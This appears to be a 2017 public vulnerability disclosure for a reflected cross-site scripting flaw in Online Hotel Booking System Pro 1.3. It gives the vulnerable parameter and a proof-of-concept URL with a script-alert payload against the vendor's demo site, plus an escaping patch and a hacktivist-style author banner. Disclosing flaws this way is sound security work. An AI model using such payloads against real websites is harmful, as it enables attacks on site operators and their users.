# Exploit Title: Online Hotel Booking System Pro 1.3 - Cross Site Scripting
# Google Dork: N/A
# Date: 2017/08/12
# Exploit Author: ShanoWeb
# Author Mail : Mr[dot]Net2Net[at]Gmail[dot]com
# Vendor Homepage: https://www.bestsoftinc.com/
# Software Buy:
https://codecanyon.net/item/online-hotel-booking-system-pro/4606514
# Demo: https://envato.bestsoftinc.net/hotel-booking-pro/
# Version: 1.3
# Tested on: Win7 x64, Kali Linux x64
# Exploit :

# https://localhost/[PATH]/booking-failure.php?error_code=99&rescode=[Xss]

# Demo :https://envato.bestsoftinc.net/hotel-booking-pro/booking-failure.php?error_code=99&rescode=<script>alert('ShanoWeb');</script>

# Patch Bug :
Open booking-failure.php , find " <p style="color:#C00"><?php echo
$erroMsg[$errorCode]; ?> </p> "
Change to "<p style="color:#C00"><?php echo
htmlentities($erroMsg[$errorCode], ENT_QUOTES | ENT_HTML401, 'UTF-8');
?> </p>"

./
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|
| Find and patch bug in your website and system|
| Contact    : Mr[dot]Net2Net[at]Gmail[dot]com    |
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|

|=============================================================|
/-------------------------------------------------------------\
|                         My Message To                       |
\-------------------------------------------------------------/
|= [!] Make Love,Not  War!. Peace No War!
|= [!] We Are One!
|= [!] We are Legion,We do not Forgive,We Do not Forge
|= [!] We Love All Children from Palestine
|=============================================================|